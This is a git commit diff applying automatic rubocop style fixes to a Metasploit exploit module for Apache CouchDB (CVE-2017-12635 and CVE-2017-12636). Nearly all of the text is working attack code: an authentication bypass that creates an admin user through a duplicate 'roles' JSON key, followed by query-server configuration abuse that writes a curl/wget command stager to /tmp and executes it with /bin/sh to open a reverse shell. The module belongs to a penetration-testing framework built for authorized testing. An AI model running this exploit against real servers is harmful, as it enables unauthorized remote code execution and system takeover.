Run rubocop -a

GSoC/Meterpreter_Web_Console
William Vu 2018-07-11 21:40:19 -05:00
parent 0ef0fae2b2
commit ca5e496b8f
1 changed files with 45 additions and 64 deletions

View File

@ -18,17 +18,17 @@ class MetasploitModule < Msf::Exploit::Remote
This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user, This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user,
including downloading and executing scripts from the public internet. including downloading and executing scripts from the public internet.
}, },
'Author' => [ 'Author' => [
'Max Justicz', # CVE-2017-12635 Vulnerability discovery 'Max Justicz', # CVE-2017-12635 Vulnerability discovery
'Joan Touzet', # CVE-2017-12636 Vulnerability discovery 'Joan Touzet', # CVE-2017-12636 Vulnerability discovery
'Green-m <greenm.xxoo[at]gmail.com>' # Metasploit module 'Green-m <greenm.xxoo[at]gmail.com>' # Metasploit module
], ],
'References' => [ 'References' => [
[ 'CVE', '2017-12636'], ['CVE', '2017-12636'],
[ 'CVE', '2017-12635'], ['CVE', '2017-12635'],
[ 'URL', 'https://justi.cz/security/2017/11/14/couchdb-rce-npm.html'], ['URL', 'https://justi.cz/security/2017/11/14/couchdb-rce-npm.html'],
[ 'URL', 'http://docs.couchdb.org/en/latest/cve/2017-12636.html'], ['URL', 'http://docs.couchdb.org/en/latest/cve/2017-12636.html'],
[ 'URL', 'https://lists.apache.org/thread.html/6c405bf3f8358e6314076be9f48c89a2e0ddf00539906291ebdf0c67@%3Cdev.couchdb.apache.org%3E'] ['URL', 'https://lists.apache.org/thread.html/6c405bf3f8358e6314076be9f48c89a2e0ddf00539906291ebdf0c67@%3Cdev.couchdb.apache.org%3E']
], ],
'DisclosureDate' => 'Apr 6 2016', 'DisclosureDate' => 'Apr 6 2016',
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
@ -36,29 +36,29 @@ class MetasploitModule < Msf::Exploit::Remote
'Arch' => [ARCH_X86, ARCH_X64], 'Arch' => [ARCH_X86, ARCH_X64],
'Privileged' => false, 'Privileged' => false,
'DefaultOptions' => { 'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/shell_reverse_tcp', 'PAYLOAD' => 'linux/x64/shell_reverse_tcp',
'CMDSTAGER::FLAVOR' => 'curl' 'CMDSTAGER::FLAVOR' => 'curl'
}, },
'CmdStagerFlavor' => ['curl', 'wget'], 'CmdStagerFlavor' => ['curl', 'wget'],
'Targets' => [ 'Targets' => [
['Automatic', {} ], ['Automatic', {}],
['Apache CouchDB version 1.x', {} ], ['Apache CouchDB version 1.x', {}],
['Apache CouchDB version 2.x', {} ] ['Apache CouchDB version 2.x', {}]
], ],
'DefaultTarget' => 0 'DefaultTarget' => 0))
))
register_options([ register_options([
Opt::RPORT(5984), Opt::RPORT(5984),
OptString.new('URIPATH', [false, 'The URI to use for this exploit to download and execute. (default is random)']), OptString.new('URIPATH', [false, 'The URI to use for this exploit to download and execute. (default is random)']),
OptString.new('HttpUsername', [false, 'The username to login as']), OptString.new('HttpUsername', [false, 'The username to login as']),
OptString.new('HttpPassword', [false, 'The password to login with']) OptString.new('HttpPassword', [false, 'The password to login with'])
]) ])
register_advanced_options( register_advanced_options(
[ [
OptInt.new('Attempts', [false, 'The number of attempts to execute the payload.']), OptInt.new('Attempts', [false, 'The number of attempts to execute the payload.']),
OptString.new('WritableDir', [true, 'Writable directory to write temporary payload on disk.', '/tmp']) OptString.new('WritableDir', [true, 'Writable directory to write temporary payload on disk.', '/tmp'])
]) ]
)
end end
def check def check
@ -67,9 +67,7 @@ class MetasploitModule < Msf::Exploit::Remote
return CheckCode::Unknown if version.version.empty? return CheckCode::Unknown if version.version.empty?
vprint_status "Found CouchDB version #{version}" vprint_status "Found CouchDB version #{version}"
if version < Gem::Version.new('1.7.0') || version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0')) return CheckCode::Appears if version < Gem::Version.new('1.7.0') || version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0'))
return CheckCode::Appears
end
CheckCode::Safe CheckCode::Safe
end end
@ -96,7 +94,7 @@ class MetasploitModule < Msf::Exploit::Remote
end end
attempts.times do |i| attempts.times do |i|
print_status("#{peer} - The #{i+1} time to exploit") print_status("#{peer} - The #{i + 1} time to exploit")
send_payload(version) send_payload(version)
Rex.sleep(5) Rex.sleep(5)
# break if we get the shell # break if we get the shell
@ -112,7 +110,6 @@ class MetasploitModule < Msf::Exploit::Remote
# the second one will be used for authorising the document write, but the first 'roles' key is used for subsequent authorization # the second one will be used for authorising the document write, but the first 'roles' key is used for subsequent authorization
# for the newly created user. # for the newly created user.
def auth_bypass def auth_bypass
username = datastore['HttpUsername'] || Rex::Text.rand_text_alpha_lower(4..12) username = datastore['HttpUsername'] || Rex::Text.rand_text_alpha_lower(4..12)
password = datastore['HttpPassword'] || Rex::Text.rand_text_alpha_lower(4..12) password = datastore['HttpPassword'] || Rex::Text.rand_text_alpha_lower(4..12)
@auth = basic_auth(username, password) @auth = basic_auth(username, password)
@ -121,7 +118,7 @@ class MetasploitModule < Msf::Exploit::Remote
'uri' => normalize_uri(target_uri.path, "/_users/org.couchdb.user:#{username}"), 'uri' => normalize_uri(target_uri.path, "/_users/org.couchdb.user:#{username}"),
'method' => 'PUT', 'method' => 'PUT',
'ctype' => 'application/json', 'ctype' => 'application/json',
'data' => %Q{{"type": "user","name": "#{username}","roles": ["_admin"],"roles": [],"password": "#{password}"}} 'data' => %({"type": "user","name": "#{username}","roles": ["_admin"],"roles": [],"password": "#{password}"})
) )
if res && res.code == 200 && res.get_json_document['ok'] if res && res.code == 200 && res.get_json_document['ok']
@ -129,7 +126,6 @@ class MetasploitModule < Msf::Exploit::Remote
else else
return false return false
end end
end end
def get_version def get_version
@ -137,11 +133,10 @@ class MetasploitModule < Msf::Exploit::Remote
begin begin
res = send_request_cgi( res = send_request_cgi(
'uri' => normalize_uri(target_uri.path), 'uri' => normalize_uri(target_uri.path),
'method' => 'GET', 'method' => 'GET',
'authorization' => @auth 'authorization' => @auth
) )
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionError => e rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionError => e
vprint_bad("#{peer} - Connection failed") vprint_bad("#{peer} - Connection failed")
return false return false
@ -177,9 +172,7 @@ class MetasploitModule < Msf::Exploit::Remote
vprint_status("#{peer} - CouchDB version is #{version}") if version vprint_status("#{peer} - CouchDB version is #{version}") if version
version = Gem::Version.new(@version) version = Gem::Version.new(@version)
case if version.version.empty?
# Version not found
when version.version.empty?
vprint_warning("#{peer} - Cannot retrieve the version of CouchDB.") vprint_warning("#{peer} - Cannot retrieve the version of CouchDB.")
# if target set Automatic, exploit failed. # if target set Automatic, exploit failed.
@ -191,21 +184,19 @@ class MetasploitModule < Msf::Exploit::Remote
payload2 payload2
end end
when version < Gem::Version.new('1.7.0') elsif version < Gem::Version.new('1.7.0')
payload1 payload1
when version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0')) elsif version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0'))
payload2 payload2
when version >= Gem::Version.new('1.7.0') || Gem::Version.new('2.1.0') elsif version >= Gem::Version.new('1.7.0') || Gem::Version.new('2.1.0')
fail_with(Failure::NotVulnerable, "#{peer} - The target is not vulnerable.") fail_with(Failure::NotVulnerable, "#{peer} - The target is not vulnerable.")
end end
end end
# Exploit with multi requests # Exploit with multi requests
# payload1 is for the version of couchdb below 1.7.0 # payload1 is for the version of couchdb below 1.7.0
def payload1 def payload1
rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12) rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12)
rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12) rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12)
rand_db = Rex::Text.rand_text_alpha_lower(4..12) rand_db = Rex::Text.rand_text_alpha_lower(4..12)
@ -218,8 +209,7 @@ class MetasploitModule < Msf::Exploit::Remote
'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd1}"), 'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd1}"),
'method' => 'PUT', 'method' => 'PUT',
'authorization' => @auth, 'authorization' => @auth,
'data' => %Q{"echo '#{@cmdstager}' > #{rand_file}"} 'data' => %("echo '#{@cmdstager}' > #{rand_file}")
) )
res = send_request_cgi( res = send_request_cgi(
@ -232,7 +222,7 @@ class MetasploitModule < Msf::Exploit::Remote
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"), 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"),
'method' => 'PUT', 'method' => 'PUT',
'authorization' => @auth, 'authorization' => @auth,
'data' => %Q{{"_id": "#{rand_hex}"}} 'data' => %({"_id": "#{rand_hex}"})
) )
res = send_request_cgi( res = send_request_cgi(
@ -240,14 +230,14 @@ class MetasploitModule < Msf::Exploit::Remote
'method' => 'POST', 'method' => 'POST',
'authorization' => @auth, 'authorization' => @auth,
'ctype' => 'application/json', 'ctype' => 'application/json',
'data' => %Q{{"language":"#{rand_cmd1}","map":""}} 'data' => %({"language":"#{rand_cmd1}","map":""})
) )
res = send_request_cgi( res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd2}"), 'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd2}"),
'method' => 'PUT', 'method' => 'PUT',
'authorization' => @auth, 'authorization' => @auth,
'data' => %Q{"/bin/sh #{rand_file}"} 'data' => %("/bin/sh #{rand_file}")
) )
res = send_request_cgi( res = send_request_cgi(
@ -255,15 +245,12 @@ class MetasploitModule < Msf::Exploit::Remote
'method' => 'POST', 'method' => 'POST',
'authorization' => @auth, 'authorization' => @auth,
'ctype' => 'application/json', 'ctype' => 'application/json',
'data' => %Q{{"language":"#{rand_cmd2}","map":""}} 'data' => %({"language":"#{rand_cmd2}","map":""})
) )
end end
# payload2 is for the version of couchdb below 2.1.1 # payload2 is for the version of couchdb below 2.1.1
def payload2 def payload2
rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12) rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12)
rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12) rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12)
rand_db = Rex::Text.rand_text_alpha_lower(4..12) rand_db = Rex::Text.rand_text_alpha_lower(4..12)
@ -281,13 +268,11 @@ class MetasploitModule < Msf::Exploit::Remote
) )
node = res.get_json_document['all_nodes'][0] node = res.get_json_document['all_nodes'][0]
res = send_request_cgi( res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd1}"), 'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd1}"),
'method' => 'PUT', 'method' => 'PUT',
'authorization' => @auth, 'authorization' => @auth,
'data' => %Q{"echo '#{@cmdstager}' > #{rand_file}"} 'data' => %("echo '#{@cmdstager}' > #{rand_file}")
) )
res = send_request_cgi( res = send_request_cgi(
@ -300,7 +285,7 @@ class MetasploitModule < Msf::Exploit::Remote
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"), 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"),
'method' => 'PUT', 'method' => 'PUT',
'authorization' => @auth, 'authorization' => @auth,
'data' => %Q{{"_id": "#{rand_hex}"}} 'data' => %({"_id": "#{rand_hex}"})
) )
res = send_request_cgi( res = send_request_cgi(
@ -308,15 +293,14 @@ class MetasploitModule < Msf::Exploit::Remote
'method' => 'PUT', 'method' => 'PUT',
'authorization' => @auth, 'authorization' => @auth,
'ctype' => 'application/json', 'ctype' => 'application/json',
'data' => %Q{{"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd1}"}} 'data' => %({"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd1}"})
) )
res = send_request_cgi( res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd2}"), 'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd2}"),
'method' => 'PUT', 'method' => 'PUT',
'authorization' => @auth, 'authorization' => @auth,
'data' => %Q{"/bin/sh #{rand_file}"} 'data' => %("/bin/sh #{rand_file}")
) )
res = send_request_cgi( res = send_request_cgi(
@ -324,7 +308,7 @@ class MetasploitModule < Msf::Exploit::Remote
'method' => 'PUT', 'method' => 'PUT',
'authorization' => @auth, 'authorization' => @auth,
'ctype' => 'application/json', 'ctype' => 'application/json',
'data' => %Q{{"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd2}"}} 'data' => %({"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd2}"})
) )
end end
@ -338,14 +322,13 @@ class MetasploitModule < Msf::Exploit::Remote
# #
def on_request_uri(cli, request) def on_request_uri(cli, request)
if (not @cmdstager) if !@cmdstager
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
return return
end end
print_status("Sending payload #{datastore['PAYLOAD']}") print_status("Sending payload #{datastore['PAYLOAD']}")
super super
end end
def start_service(opts = {}) def start_service(opts = {})
@ -353,7 +336,6 @@ class MetasploitModule < Msf::Exploit::Remote
@service_url = get_uri @service_url = get_uri
end end
# mark the exploit successful and clean temp file created during exploiting # mark the exploit successful and clean temp file created during exploiting
def on_new_session(client) def on_new_session(client)
# mark flag be true to stop exploit. # mark flag be true to stop exploit.
@ -370,9 +352,8 @@ class MetasploitModule < Msf::Exploit::Remote
client.shell_command_token("rm #{@file_to_clean}") client.shell_command_token("rm #{@file_to_clean}")
end end
vprint_good("Cleaned temp file successful.") vprint_good("Cleaned temp file successful.")
rescue rescue StandardError
print_warning("Need to clean the temp file #{@file_to_clean} manually.") print_warning("Need to clean the temp file #{@file_to_clean} manually.")
end end
end end
end end